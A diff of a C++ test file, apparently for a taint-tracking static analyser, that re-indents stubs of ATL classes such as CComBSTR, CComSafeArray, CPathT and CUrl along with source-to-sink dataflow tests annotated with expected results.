+    HRESULT Append(LPCOLESTR lpsz, int nLen) throw();
+    HRESULT AppendBSTR(BSTR p) throw();
+    HRESULT AppendBytes(const char* lpsz, int nLen) throw();
+    HRESULT ArrayToBSTR(const SAFEARRAY* pSrc) throw();
+    HRESULT AssignBSTR(const BSTR bstrSrc) throw();
+    void Attach(BSTR src) throw();
+    HRESULT BSTRToArray(LPSAFEARRAY* ppArray) throw();
+    unsigned int ByteLength() const throw();
+    BSTR Copy() const throw();
+    HRESULT CopyTo(BSTR* pbstr) throw();
+
+    HRESULT CopyTo(VARIANT* pvarDest) throw();
+    BSTR Detach() throw();
+    void Empty() throw();
+    unsigned int Length() const throw();
+    bool LoadString(HINSTANCE hInst, UINT nID) throw();
+    bool LoadString(UINT nID) throw();
+    HRESULT ReadFromStream(IStream* pStream) throw();
+    HRESULT ToUpper() throw();
+    HRESULT WriteToStream(IStream* pStream) throw();
+
+    operator BSTR() const throw();
+    BSTR* operator&() throw();
+
+    CComBSTR& operator+= (const CComBSTR& bstrSrc);
+    CComBSTR& operator+= (const LPCOLESTR pszSrc);
+
+    BSTR m_str;
+  };
+
+  LPSAFEARRAY getSafeArray() {
+    SAFEARRAY* safe = new SAFEARRAY;
+    safe->pvData = indirect_source<char>();
+    return safe;
+  }
 
+  void test_CComBSTR() {
+    char* x = indirect_source<char>();
     {
-      CAtlList<int*> list5(10);
-      auto pos = list5.Find(p, list5.GetHeadPosition());
-      sink(list5.GetAt(pos)); // $ MISSING: ir
-    }
+      CComBSTR b(x);
+      sink(b.m_str); // $ ir
 
+      CComBSTR b2(b);
+      sink(b2.m_str); // $ ir
+    }
     {
-      CAtlList<int*> list6(10);
-      list6.AddHead(p);
-      auto pos = list6.FindIndex(0);
-      sink(list6.GetAt(pos)); // $ ir
+      CComBSTR b(10, x);
+      sink(b.m_str); // $ ir
     }
-
     {
-      CAtlList<int*> list7(10);
-      auto pos = list7.GetTailPosition();
-      list7.InsertAfter(pos, p);
-      sink(list7.GetHead()); // $ ir
+      CComBSTR b(x);
+
+      CComBSTR b2;
+      sink(b2.m_str);
+      b2 += b;
+      sink(b2.m_str); // $ ir
+
+      CComBSTR b3;
+      b3 += x;
+      sink(b3.m_str); // $ ir
+      sink(static_cast<BSTR>(b3)); // $ ir
+      sink(**&b3); // $ ir
+
+      CComBSTR b4;
+      b4.Append(source<char>());
+      sink(b4.m_str); // $ ir
+
+      CComBSTR b5;
+      b5.AppendBSTR(b4.m_str);
+      sink(b5.m_str); // $ ir
+
+      CComBSTR b6;
+      b6.AppendBytes(x, 10);
+      sink(b6.m_str); // $ ir
+
+      CComBSTR b7;
+      b7.ArrayToBSTR(getSafeArray());
+      sink(b7.m_str); // $ ir
+
+      CComBSTR b8;
+      b8.AssignBSTR(b7.m_str);
+      sink(b8.m_str); // $ ir
+
+      CComBSTR b9;
+      LPSAFEARRAY safe;
+      b9.Append(source<char>());
+      b9.BSTRToArray(&safe);
+      sink(safe->pvData); // $ ir
+
+      sink(b9.Copy()); // $ ir
     }
 
+    wchar_t* w = indirect_source<wchar_t>();
     {
-      CAtlList<int*> list8(10);
-      auto pos = list8.GetTailPosition();
-      list8.InsertBefore(pos, p);
-      sink(list8.GetHead()); // $ ir
+      CComBSTR b(w);
+      sink(b.m_str); // $ ir
+
+      CComBSTR b2;
+      b2.Attach(w);
+      sink(b2.m_str); // $ ir
     }
     {
-      CAtlList<int*> list9(10);
-      list9.SetAt(list9.GetHeadPosition(), p);
-      sink(list9.GetHead()); // $ ir
+      CComBSTR b(10, w);
+      sink(b.m_str); // $ ir
     }
   }
-}
-
-struct IUnknown { };
-
-struct ISequentialStream : public IUnknown { };
-
-struct IStream : public ISequentialStream { };
-
-struct CComBSTR {
-  CComBSTR() throw();
-  CComBSTR(const CComBSTR& src);
-  CComBSTR(int nSize);
-  CComBSTR(int nSize, LPCOLESTR sz);
-  CComBSTR(int nSize, LPCSTR sz);
-  CComBSTR(LPCOLESTR pSrc);
-  CComBSTR(LPCSTR pSrc);
-  CComBSTR(CComBSTR&& src) throw();
-  ~CComBSTR();
-  
-  HRESULT Append(const CComBSTR& bstrSrc) throw();
-  HRESULT Append(wchar_t ch) throw();
-  HRESULT Append(char ch) throw();
-  HRESULT Append(LPCOLESTR lpsz) throw();
-  HRESULT Append(LPCSTR lpsz) throw();
-  HRESULT Append(LPCOLESTR lpsz, int nLen) throw();
-  HRESULT AppendBSTR(BSTR p) throw();
-  HRESULT AppendBytes(const char* lpsz, int nLen) throw();
-  HRESULT ArrayToBSTR(const SAFEARRAY* pSrc) throw();
-  HRESULT AssignBSTR(const BSTR bstrSrc) throw();
-  void Attach(BSTR src) throw();
-  HRESULT BSTRToArray(LPSAFEARRAY* ppArray) throw();
-  unsigned int ByteLength() const throw();
-  BSTR Copy() const throw();
-  HRESULT CopyTo(BSTR* pbstr) throw();
-
-  HRESULT CopyTo(VARIANT* pvarDest) throw();
-  BSTR Detach() throw();
-  void Empty() throw();
-  unsigned int Length() const throw();
-  bool LoadString(HINSTANCE hInst, UINT nID) throw();
-  bool LoadString(UINT nID) throw();
-  HRESULT ReadFromStream(IStream* pStream) throw();
-  HRESULT ToUpper() throw();
-  HRESULT WriteToStream(IStream* pStream) throw();
-
-  operator BSTR() const throw();
-  BSTR* operator&() throw();
-
-  CComBSTR& operator+= (const CComBSTR& bstrSrc);
-  CComBSTR& operator+= (const LPCOLESTR pszSrc);
-
-  BSTR m_str;
-};
-
-LPSAFEARRAY getSafeArray() {
-  SAFEARRAY* safe = new SAFEARRAY;
-  safe->pvData = indirect_source<char>();
-  return safe;
-}
 
-void test_CComBSTR() {
-  char* x = indirect_source<char>();
-  {
-    CComBSTR b(x);
-    sink(b.m_str); // $ ir
-
-    CComBSTR b2(b);
-    sink(b2.m_str); // $ ir
-  }
-  {
-    CComBSTR b(10, x);
-    sink(b.m_str); // $ ir
-  }
-  {
-    CComBSTR b(x);
-
-    CComBSTR b2;
-    sink(b2.m_str);
-    b2 += b;
-    sink(b2.m_str); // $ ir
-
-    CComBSTR b3;
-    b3 += x;
-    sink(b3.m_str); // $ ir
-    sink(static_cast<BSTR>(b3)); // $ ir
-    sink(**&b3); // $ ir
-
-    CComBSTR b4;
-    b4.Append(source<char>());
-    sink(b4.m_str); // $ ir
-
-    CComBSTR b5;
-    b5.AppendBSTR(b4.m_str);
-    sink(b5.m_str); // $ ir
-
-    CComBSTR b6;
-    b6.AppendBytes(x, 10);
-    sink(b6.m_str); // $ ir
-
-    CComBSTR b7;
-    b7.ArrayToBSTR(getSafeArray());
-    sink(b7.m_str); // $ ir
-
-    CComBSTR b8;
-    b8.AssignBSTR(b7.m_str);
-    sink(b8.m_str); // $ ir
-
-    CComBSTR b9;
-    LPSAFEARRAY safe;
-    b9.Append(source<char>());
-    b9.BSTRToArray(&safe);
+  template <typename T>
+  struct CComSafeArray {
+    CComSafeArray();
+    CComSafeArray(const SAFEARRAYBOUND& bound);
+    CComSafeArray(ULONG  ulCount, LONG lLBound);
+    CComSafeArray(const SAFEARRAYBOUND* pBound, UINT uDims);
+    CComSafeArray(const CComSafeArray& saSrc);
+    CComSafeArray(const SAFEARRAY& saSrc);
+    CComSafeArray(const SAFEARRAY* psaSrc);
+
+    ~CComSafeArray() throw();
+
+    HRESULT Add(const SAFEARRAY* psaSrc);
+    HRESULT Add(ULONG ulCount, const T* pT, BOOL bCopy);
+    HRESULT Add(const T& t, BOOL bCopy);
+    HRESULT Attach(const SAFEARRAY* psaSrc);
+    HRESULT CopyFrom(LPSAFEARRAY* ppArray);
+    HRESULT CopyTo(LPSAFEARRAY* ppArray);
+    HRESULT Create(const SAFEARRAYBOUND* pBound, UINT uDims);
+    HRESULT Create(ULONG ulCount, LONG lLBound);
+    HRESULT Destroy();
+    LPSAFEARRAY Detach();
+    T& GetAt(LONG lIndex) const;
+    ULONG GetCount(UINT uDim) const;
+    UINT GetDimensions() const;
+    LONG GetLowerBound(UINT uDim) const;
+    LPSAFEARRAY GetSafeArrayPtr() throw();
+    LONG GetUpperBound(UINT uDim) const;
+    bool IsSizable() const;
+    HRESULT MultiDimGetAt(const LONG* alIndex, T& t);
+    HRESULT MultiDimSetAt(const LONG* alIndex, const T& t);
+    HRESULT Resize(const SAFEARRAYBOUND* pBound);
+    HRESULT Resize(ULONG ulCount, LONG lLBound);
+    HRESULT SetAt(LONG lIndex, const T& t, BOOL bCopy);
+    operator LPSAFEARRAY() const;
+    T& operator[](long lindex) const;
+    T& operator[](int nindex) const;
+
+    LPSAFEARRAY m_psa;
+  };
+
+  void test_CComSafeArray() {
+    LPSAFEARRAY safe = getSafeArray();
     sink(safe->pvData); // $ ir
-
-    sink(b9.Copy()); // $ ir
-  }
-
-  wchar_t* w = indirect_source<wchar_t>();
-  {
-    CComBSTR b(w);
-    sink(b.m_str); // $ ir
-
-    CComBSTR b2;
-    b2.Attach(w);
-    sink(b2.m_str); // $ ir
-  }
-  {
-    CComBSTR b(10, w);
-    sink(b.m_str); // $ ir
-  }
-}
-
-template <typename T>
-struct CComSafeArray {
-  CComSafeArray();
-  CComSafeArray(const SAFEARRAYBOUND& bound);
-  CComSafeArray(ULONG  ulCount, LONG lLBound);
-  CComSafeArray(const SAFEARRAYBOUND* pBound, UINT uDims);
-  CComSafeArray(const CComSafeArray& saSrc);
-  CComSafeArray(const SAFEARRAY& saSrc);
-  CComSafeArray(const SAFEARRAY* psaSrc);
-
-  ~CComSafeArray() throw();
-
-  HRESULT Add(const SAFEARRAY* psaSrc);
-  HRESULT Add(ULONG ulCount, const T* pT, BOOL bCopy);
-  HRESULT Add(const T& t, BOOL bCopy);
-  HRESULT Attach(const SAFEARRAY* psaSrc);
-  HRESULT CopyFrom(LPSAFEARRAY* ppArray);
-  HRESULT CopyTo(LPSAFEARRAY* ppArray);
-  HRESULT Create(const SAFEARRAYBOUND* pBound, UINT uDims);
-  HRESULT Create(ULONG ulCount, LONG lLBound);
-  HRESULT Destroy();
-  LPSAFEARRAY Detach();
-  T& GetAt(LONG lIndex) const;
-  ULONG GetCount(UINT uDim) const;
-  UINT GetDimensions() const;
-  LONG GetLowerBound(UINT uDim) const;
-  LPSAFEARRAY GetSafeArrayPtr() throw();
-  LONG GetUpperBound(UINT uDim) const;
-  bool IsSizable() const;
-  HRESULT MultiDimGetAt(const LONG* alIndex, T& t);
-  HRESULT MultiDimSetAt(const LONG* alIndex, const T& t);
-  HRESULT Resize(const SAFEARRAYBOUND* pBound);
-  HRESULT Resize(ULONG ulCount, LONG lLBound);
-  HRESULT SetAt(LONG lIndex, const T& t, BOOL bCopy);
-  operator LPSAFEARRAY() const;
-  T& operator[](long lindex) const;
-  T& operator[](int nindex) const;
-
-  LPSAFEARRAY m_psa;
-};
-
-void test_CComSafeArray() {
-  LPSAFEARRAY safe = getSafeArray();
-  sink(safe->pvData); // $ ir
-  {
-  CComSafeArray<int> c(safe);
-  sink(c[0]); // $ ir
-  sink(c.GetAt(0)); // $ ir
-  sink(c.GetSafeArrayPtr()->pvData); // $ ir
-  sink(c.m_psa->pvData); // $ ir
-  }
-  {
-    CComSafeArray<int> c;
-    sink(c[0]);
-    sink(c.GetAt(0));
-    sink(c.GetSafeArrayPtr()->pvData);
-    c.Add(safe);
-    sink(c[0]); // $ ir
-    sink(c.GetAt(0)); // $ ir
-    sink(c.GetSafeArrayPtr()->pvData); // $ ir
-    sink(static_cast<LPSAFEARRAY>(c)->pvData); // $ ir
-  }
-  {
-    CComSafeArray<int> c;
-    c.Add(source<int>(), true);
+    {
+    CComSafeArray<int> c(safe);
     sink(c[0]); // $ ir
     sink(c.GetAt(0)); // $ ir
     sink(c.GetSafeArrayPtr()->pvData); // $ ir
+    sink(c.m_psa->pvData); // $ ir
+    }
+    {
+      CComSafeArray<int> c;
+      sink(c[0]);
+      sink(c.GetAt(0));
+      sink(c.GetSafeArrayPtr()->pvData);
+      c.Add(safe);
+      sink(c[0]); // $ ir
+      sink(c.GetAt(0)); // $ ir
+      sink(c.GetSafeArrayPtr()->pvData); // $ ir
+      sink(static_cast<LPSAFEARRAY>(c)->pvData); // $ ir
+    }
+    {
+      CComSafeArray<int> c;
+      c.Add(source<int>(), true);
+      sink(c[0]); // $ ir
+      sink(c.GetAt(0)); // $ ir
+      sink(c.GetSafeArrayPtr()->pvData); // $ ir
+    }
+    {
+      CComSafeArray<int> c;
+      c.SetAt(0, source<int>(), true);
+      sink(c[0]); // $ ir
+      sink(c[0L]); // $ ir
+    }
   }
-  {
-    CComSafeArray<int> c;
-    c.SetAt(0, source<int>(), true);
-    sink(c[0]); // $ ir
-    sink(c[0L]); // $ ir
-  }
-}
 
-template <typename StringType>
-struct CPathT {
-  typedef StringType PCXSTR; // simplified
-  CPathT(PCXSTR pszPath);
-  CPathT(const CPathT<StringType>& path);
-  CPathT() throw();
-
-  void AddBackslash();
-  BOOL AddExtension(PCXSTR pszExtension);
-  BOOL Append(PCXSTR pszMore);
-  void BuildRoot(int iDrive);
-  void Canonicalize();
-  void Combine(PCXSTR pszDir, PCXSTR pszFile);
-  CPathT<StringType> CommonPrefix(PCXSTR pszOther);
-  BOOL CompactPathEx(UINT nMaxChars, DWORD dwFlags);
-  BOOL FileExists() const;
-  int FindExtension() const;
-  int FindFileName() const;
-  int GetDriveNumber() const;
-  StringType GetExtension() const;
-  BOOL IsDirectory() const;
-  BOOL IsFileSpec() const;
-  BOOL IsPrefix(PCXSTR pszPrefix) const;
-  BOOL IsRelative() const;
-  BOOL IsRoot() const;
-  BOOL IsSameRoot(PCXSTR pszOther) const;
-  BOOL IsUNC() const;
-  BOOL IsUNCServer() const;
-  BOOL IsUNCServerShare() const;
-  BOOL MakePretty();
-  BOOL MatchSpec(PCXSTR pszSpec) const;
-  void QuoteSpaces();
-  BOOL RelativePathTo(
-      PCXSTR pszFrom,
-      DWORD dwAttrFrom,
-      PCXSTR pszTo,
-      DWORD dwAttrTo);
-  void RemoveArgs();
-  void RemoveBackslash();
-  void RemoveBlanks();
-  void RemoveExtension();
-  BOOL RemoveFileSpec();
-  BOOL RenameExtension(PCXSTR pszExtension);
-  int SkipRoot() const;
-  void StripPath();
-  BOOL StripToRoot();
-  void UnquoteSpaces();
-  operator const StringType&() const throw();
-  operator PCXSTR() const throw();
-  operator StringType&() throw();
-  CPathT<StringType>& operator+=(PCXSTR pszMore);
-  
-  StringType m_strPath;
-};
-
-using CPath = CPathT<char*>;
-
-void test_CPathT() {
-  char* x = indirect_source<char>();
-  CPath p(x);
-  sink(static_cast<char*>(p)); // $ MISSING: ir
-  sink(p.m_strPath); // $ ir
-
-  CPath p2(p);
-  sink(p2.m_strPath); // $ ir
-
-  {
-    CPath p;
-    p.AddExtension(x);
-    sink(p.m_strPath); // $ ir
-  }
-  {
-    CPath p;
-    p.Append(x);
+  template <typename StringType>
+  struct CPathT {
+    typedef StringType PCXSTR; // simplified
+    CPathT(PCXSTR pszPath);
+    CPathT(const CPathT<StringType>& path);
+    CPathT() throw();
+
+    void AddBackslash();
+    BOOL AddExtension(PCXSTR pszExtension);
+    BOOL Append(PCXSTR pszMore);
+    void BuildRoot(int iDrive);
+    void Canonicalize();
+    void Combine(PCXSTR pszDir, PCXSTR pszFile);
+    CPathT<StringType> CommonPrefix(PCXSTR pszOther);
+    BOOL CompactPathEx(UINT nMaxChars, DWORD dwFlags);
+    BOOL FileExists() const;
+    int FindExtension() const;
+    int FindFileName() const;
+    int GetDriveNumber() const;
+    StringType GetExtension() const;
+    BOOL IsDirectory() const;
+    BOOL IsFileSpec() const;
+    BOOL IsPrefix(PCXSTR pszPrefix) const;
+    BOOL IsRelative() const;
+    BOOL IsRoot() const;
+    BOOL IsSameRoot(PCXSTR pszOther) const;
+    BOOL IsUNC() const;
+    BOOL IsUNCServer() const;
+    BOOL IsUNCServerShare() const;
+    BOOL MakePretty();
+    BOOL MatchSpec(PCXSTR pszSpec) const;
+    void QuoteSpaces();
+    BOOL RelativePathTo(
+        PCXSTR pszFrom,
+        DWORD dwAttrFrom,
+        PCXSTR pszTo,
+        DWORD dwAttrTo);
+    void RemoveArgs();
+    void RemoveBackslash();
+    void RemoveBlanks();
+    void RemoveExtension();
+    BOOL RemoveFileSpec();
+    BOOL RenameExtension(PCXSTR pszExtension);
+    int SkipRoot() const;
+    void StripPath();
+    BOOL StripToRoot();
+    void UnquoteSpaces();
+    operator const StringType&() const throw();
+    operator PCXSTR() const throw();
+    operator StringType&() throw();
+    CPathT<StringType>& operator+=(PCXSTR pszMore);
+    
+    StringType m_strPath;
+  };
+
+  using CPath = CPathT<char*>;
+
+  void test_CPathT() {
+    char* x = indirect_source<char>();
+    CPath p(x);
+    sink(static_cast<char*>(p)); // $ MISSING: ir
     sink(p.m_strPath); // $ ir
 
-    CPath p2;
-    p2 += p;
-    sink(p2.m_strPath); // $ MISSING: ir // this requires flow through `operator StringType&()` which we can't yet model in MaD
+    CPath p2(p);
+    sink(p2.m_strPath); // $ ir
 
-    CPath p3;
-    p3 += x;
-    sink(p3.m_strPath); // $ ir
-  }
+    {
+      CPath p;
+      p.AddExtension(x);
+      sink(p.m_strPath); // $ ir
+    }
+    {
+      CPath p;
+      p.Append(x);
+      sink(p.m_strPath); // $ ir
 
-  {
-    CPath p;
-    p.Combine(x, nullptr);
-    sink(p.m_strPath); // $ ir
-  }
-  {
-    CPath p;
-    p.Combine(nullptr, x);
-    sink(p.m_strPath); // $ ir
-  }
+      CPath p2;
+      p2 += p;
+      sink(p2.m_strPath); // $ MISSING: ir // this requires flow through `operator StringType&()` which we can't yet model in MaD
 
-  {
-    CPath p;
-    auto p2 = p.CommonPrefix(x);
-    sink(p2.m_strPath); // $ ir
-    sink(p2.GetExtension()); // $ ir
-  }
-}
+      CPath p3;
+      p3 += x;
+      sink(p3.m_strPath); // $ ir
+    }
 
-template <class T>
-struct CSimpleArray {
-  CSimpleArray(const CSimpleArray<T>& src);
-  CSimpleArray();
-  ~CSimpleArray();
-
-  BOOL Add(const T& t);
-  int Find(const T& t) const;
-  T* GetData() const;
-  int GetSize() const;
-  BOOL Remove(const T& t);
-  void RemoveAll();
-  BOOL RemoveAt(int nIndex);
-  
-  BOOL SetAtIndex(
-    int nIndex,
-    const T& t);
-  
-  T& operator[](int nindex);
-  CSimpleArray<T> & operator=(const CSimpleArray<T>& src);
-};
-
-void test_CSimpleArray() {
-  int x = source<int>();
-  {
-    CSimpleArray<int> a;
-    a.Add(x);
-    sink(a[0]); // $ ir
-    a.Add(0);
-    sink(a[0]); // $ ir
-
-    CSimpleArray<int> a2;
-    sink(a2[0]);
-    a2 = a;
-    sink(a2[0]); // $ ir
-  }
-  {
-    CSimpleArray<int> a;
-    a.Add(x);
-    sink(a.GetData()); // $ ir
-
-    CSimpleArray<int> a2;
-    int pos = a2.Find(x);
-    sink(a2[pos]); // $ MISSING: ir
-  }
-}
+    {
+      CPath p;
+      p.Combine(x, nullptr);
+      sink(p.m_strPath); // $ ir
+    }
+    {
+      CPath p;
+      p.Combine(nullptr, x);
+      sink(p.m_strPath); // $ ir
+    }
 
-template <class TKey, class TVal>
-struct CSimpleMap {
-  CSimpleMap();
-  ~CSimpleMap();
-
-  BOOL Add(const TKey& key, const TVal& val);
-  int FindKey(const TKey& key) const;
-  int FindVal(const TVal& val) const;
-  TKey& GetKeyAt(int nIndex) const;
-  int GetSize() const;
-  TVal& GetValueAt(int nIndex) const;
-  TVal Lookup(const TKey& key) const;
-  BOOL Remove(const TKey& key);
-  void RemoveAll();
-  BOOL RemoveAt(int nIndex);
-  TKey ReverseLookup(const TVal& val) const;
-  BOOL SetAt(const TKey& key, const TVal& val);
-  BOOL SetAtIndex(int nIndex, const TKey& key, const TVal& val);
-};
-
-void test_CSimpleMap() {
-  wchar_t* x = source<wchar_t*>();
-  {
-    CSimpleMap<char*, wchar_t*> a;
-    a.Add("hello", x);
-    sink(a.Lookup("hello")); // $ ir
-  }
-  {
-    CSimpleMap<char*, wchar_t*> a;
-    auto pos = a.FindKey("hello");
-    sink(a.GetValueAt(pos)); // clean
-  }
-  {
-    CSimpleMap<char*, wchar_t*> a;
-    auto pos = a.FindVal(x);
-    sink(a.GetValueAt(pos)); // $ MISSING: ir
-  }
-  {
-    CSimpleMap<char*, wchar_t*> a;
-    auto key = a.ReverseLookup(x);
-    sink(key);
-    sink(a.Lookup(key)); // $ MISSING: ir
-  }
-  {
-    CSimpleMap<char*, wchar_t*> a;
-    a.SetAt("hello", x);
-    sink(a.Lookup("hello")); // $ ir
-  }
-  {
-    CSimpleMap<char*, wchar_t*> a;
-    a.SetAtIndex(0, "hello", x);
-    sink(a.Lookup("hello")); // $ ir
+    {
+      CPath p;
+      auto p2 = p.CommonPrefix(x);
+      sink(p2.m_strPath); // $ ir
+      sink(p2.GetExtension()); // $ ir
+    }
   }
-}
 
-struct CUrl {
-  CUrl& operator= (const CUrl& urlThat) throw();
-  CUrl() throw();
-  CUrl(const CUrl& urlThat) throw();
-  ~CUrl() throw();
-
-  inline BOOL Canonicalize(DWORD dwFlags) throw();
-  inline void Clear() throw();
-
-  BOOL CrackUrl(LPCTSTR lpszUrl, DWORD dwFlags) throw();
-  inline BOOL CreateUrl(LPTSTR lpszUrl, DWORD* pdwMaxLength, DWORD dwFlags) const throw();
-
-  inline LPCTSTR GetExtraInfo() const throw();
-  inline DWORD GetExtraInfoLength() const throw();
-  inline LPCTSTR GetHostName() const throw();
-  inline DWORD GetHostNameLength() const throw();
-  inline LPCTSTR GetPassword() const throw();
-  inline DWORD GetPasswordLength() const throw();
-  inline ATL_URL_PORT GetPortNumber() const throw();
-  inline ATL_URL_SCHEME GetScheme() const throw();
-  inline LPCTSTR GetSchemeName() const throw();
-  inline DWORD GetSchemeNameLength() const throw();
-  inline DWORD GetUrlLength() const throw();
-  inline LPCTSTR GetUrlPath() const throw();
-  inline DWORD GetUrlPathLength() const throw();
-  inline LPCTSTR GetUserName() const throw();
-  inline DWORD GetUserNameLength() const throw();
-  inline BOOL SetExtraInfo(LPCTSTR lpszInfo) throw();
-  inline BOOL SetHostName(LPCTSTR lpszHost) throw();
-  inline BOOL SetPassword(LPCTSTR lpszPass) throw();
-  inline BOOL SetPortNumber(ATL_URL_PORT nPrt) throw();
-  inline BOOL SetScheme(ATL_URL_SCHEME nScheme) throw();
-  inline BOOL SetSchemeName(LPCTSTR lpszSchm) throw();
-  inline BOOL SetUrlPath(LPCTSTR lpszPath) throw();
-  inline BOOL SetUserName(LPCTSTR lpszUser) throw();
-};
-
-void test_CUrl() {
-  char* x = indirect_source<char>();
-  CUrl url;
-  url.CrackUrl(x, 0);
-  sink(url); // $ ir
-  sink(url.GetExtraInfo()); // $ ir
-  sink(url.GetHostName()); // $ ir
-  sink(url.GetPassword()); // $ ir
-  sink(url.GetSchemeName()); // $ ir
-  sink(url.GetUrlPath()); // $ ir
-  sink(url.GetUserName()); // $ ir
-
-  {
-    CUrl url2;
-    DWORD len;
-    char buffer[1024];
-    url2.CrackUrl(x, 0);
-    url2.CreateUrl(buffer, &len, 0);
-    sink(buffer); // $ ast ir
-  }
-  {
-    CUrl url2;
-    url2.SetExtraInfo(x);
-    sink(url2); // $ ir
-  }
-  {
-    CUrl url2;
-    url2.SetHostName(x);
-    sink(url2); // $ ir
-  }
-  {
-    CUrl url2;
-    url2.SetPassword(x);
-    sink(url2); // $ ir
-  }
-  {
-    CUrl url2;
-    url2.SetSchemeName(x);
-    sink(url2); // $ ir
+  template <class T>
+  struct CSimpleArray {
+    CSimpleArray(const CSimpleArray<T>& src);
+    CSimpleArray();
+    ~CSimpleArray();
+
+    BOOL Add(const T& t);
+    int Find(const T& t) const;
+    T* GetData() const;
+    int GetSize() const;
+    BOOL Remove(const T& t);
+    void RemoveAll();
+    BOOL RemoveAt(int nIndex);
+    
+    BOOL SetAtIndex(
+      int nIndex,
+      const T& t);
+    
+    T& operator[](int nindex);
+    CSimpleArray<T> & operator=(const CSimpleArray<T>& src);
+  };
+
+  void test_CSimpleArray() {
+    int x = source<int>();
+    {
+      CSimpleArray<int> a;
+      a.Add(x);
+      sink(a[0]); // $ ir
+      a.Add(0);
+      sink(a[0]); // $ ir
+
+      CSimpleArray<int> a2;
+      sink(a2[0]);
+      a2 = a;
+      sink(a2[0]); // $ ir
+    }
+    {
+      CSimpleArray<int> a;
+      a.Add(x);
+      sink(a.GetData()); // $ ir
+
+      CSimpleArray<int> a2;
+      int pos = a2.Find(x);
+      sink(a2[pos]); // $ MISSING: ir
+    }
   }
-  {
-    CUrl url2;
-    url2.SetUrlPath(x);
-    sink(url2); // $ ir
+
+  template <class TKey, class TVal>
+  struct CSimpleMap {
+    CSimpleMap();
+    ~CSimpleMap();
+
+    BOOL Add(const TKey& key, const TVal& val);
+    int FindKey(const TKey& key) const;
+    int FindVal(const TVal& val) const;
+    TKey& GetKeyAt(int nIndex) const;
+    int GetSize() const;
+    TVal& GetValueAt(int nIndex) const;
+    TVal Lookup(const TKey& key) const;
+    BOOL Remove(const TKey& key);
+    void RemoveAll();
+    BOOL RemoveAt(int nIndex);
+    TKey ReverseLookup(const TVal& val) const;
+    BOOL SetAt(const TKey& key, const TVal& val);
+    BOOL SetAtIndex(int nIndex, const TKey& key, const TVal& val);
+  };
+
+  void test_CSimpleMap() {
+    wchar_t* x = source<wchar_t*>();
+    {
+      CSimpleMap<char*, wchar_t*> a;
+      a.Add("hello", x);
+      sink(a.Lookup("hello")); // $ ir
+    }
+    {
+      CSimpleMap<char*, wchar_t*> a;
+      auto pos = a.FindKey("hello");
+      sink(a.GetValueAt(pos)); // clean
+    }
+    {
+      CSimpleMap<char*, wchar_t*> a;
+      auto pos = a.FindVal(x);
+      sink(a.GetValueAt(pos)); // $ MISSING: ir
+    }
+    {
+      CSimpleMap<char*, wchar_t*> a;
+      auto key = a.ReverseLookup(x);
+      sink(key);
+      sink(a.Lookup(key)); // $ MISSING: ir
+    }
+    {
+      CSimpleMap<char*, wchar_t*> a;
+      a.SetAt("hello", x);
+      sink(a.Lookup("hello")); // $ ir
+    }
+    {
+      CSimpleMap<char*, wchar_t*> a;
+      a.SetAtIndex(0, "hello", x);
+      sink(a.Lookup("hello")); // $ ir
+    }
   }
-  {
-    CUrl url2;
-    url2.SetUserName(x);
-    sink(url2); // $ ir
+
+  struct CUrl {
+    CUrl& operator= (const CUrl& urlThat) throw();
+    CUrl() throw();
+    CUrl(const CUrl& urlThat) throw();
+    ~CUrl() throw();
+
+    inline BOOL Canonicalize(DWORD dwFlags) throw();
+    inline void Clear() throw();
+
+    BOOL CrackUrl(LPCTSTR lpszUrl, DWORD dwFlags) throw();
+    inline BOOL CreateUrl(LPTSTR lpszUrl, DWORD* pdwMaxLength, DWORD dwFlags) const throw();
+
+    inline LPCTSTR GetExtraInfo() const throw();
+    inline DWORD GetExtraInfoLength() const throw();
+    inline LPCTSTR GetHostName() const throw();
+    inline DWORD GetHostNameLength() const throw();
+    inline LPCTSTR GetPassword() const throw();
+    inline DWORD GetPasswordLength() const throw();
+    inline ATL_URL_PORT GetPortNumber() const throw();
+    inline ATL_URL_SCHEME GetScheme() const throw();
+    inline LPCTSTR GetSchemeName() const throw();
+    inline DWORD GetSchemeNameLength() const throw();
+    inline DWORD GetUrlLength() const throw();
+    inline LPCTSTR GetUrlPath() const throw();
+    inline DWORD GetUrlPathLength() const throw();
+    inline LPCTSTR GetUserName() const throw();
+    inline DWORD GetUserNameLength() const throw();
+    inline BOOL SetExtraInfo(LPCTSTR lpszInfo) throw();
+    inline BOOL SetHostName(LPCTSTR lpszHost) throw();
+    inline BOOL SetPassword(LPCTSTR lpszPass) throw();
+    inline BOOL SetPortNumber(ATL_URL_PORT nPrt) throw();
+    inline BOOL SetScheme(ATL_URL_SCHEME nScheme) throw();
+    inline BOOL SetSchemeName(LPCTSTR lpszSchm) throw();
+    inline BOOL SetUrlPath(LPCTSTR lpszPath) throw();
+    inline BOOL SetUserName(LPCTSTR lpszUser) throw();
+  };
+
+  void test_CUrl() {
+    char* x = indirect_source<char>();
+    CUrl url;
+    url.CrackUrl(x, 0);
+    sink(url); // $ ir
+    sink(url.GetExtraInfo()); // $ ir
+    sink(url.GetHostName()); // $ ir
+    sink(url.GetPassword()); // $ ir
+    sink(url.GetSchemeName()); // $ ir
+    sink(url.GetUrlPath()); // $ ir
+    sink(url.GetUserName()); // $ ir
+
+    {
+      CUrl url2;
+      DWORD len;
+      char buffer[1024];
+      url2.CrackUrl(x, 0);
+      url2.CreateUrl(buffer, &len, 0);
+      sink(buffer); // $ ast ir
+    }
+    {
+      CUrl url2;
+      url2.SetExtraInfo(x);
+      sink(url2); // $ ir
+    }
+    {
+      CUrl url2;
+      url2.SetHostName(x);
+      sink(url2); // $ ir
+    }
+    {
+      CUrl url2;
+      url2.SetPassword(x);
+      sink(url2); // $ ir
+    }
+    {
+      CUrl url2;
+      url2.SetSchemeName(x);
+      sink(url2); // $ ir
+    }
+    {
+      CUrl url2;
+      url2.SetUrlPath(x);
+      sink(url2); // $ ir
+    }
+    {
+      CUrl url2;
+      url2.SetUserName(x);
+      sink(url2); // $ ir
+    }
   }
-}
 
-struct IAtlStringMgr {}; // simplified
+  struct IAtlStringMgr {}; // simplified
 
-using XCHAR = char;
-using YCHAR = wchar_t;
+  using XCHAR = char;
+  using YCHAR = wchar_t;
 
-template <typename BaseType>
-struct CSimpleStringT {
-  using PCXSTR = const BaseType*; // simplified
-  using PXSTR = BaseType*; // simplified
+  template <typename BaseType>
+  struct CSimpleStringT {
+    using PCXSTR = const BaseType*; // simplified
+    using PXSTR = BaseType*; // simplified
 
-  CSimpleStringT() throw();
-  CSimpleStringT(const XCHAR* pchSrc, int nLength, IAtlStringMgr* pStringMgr);
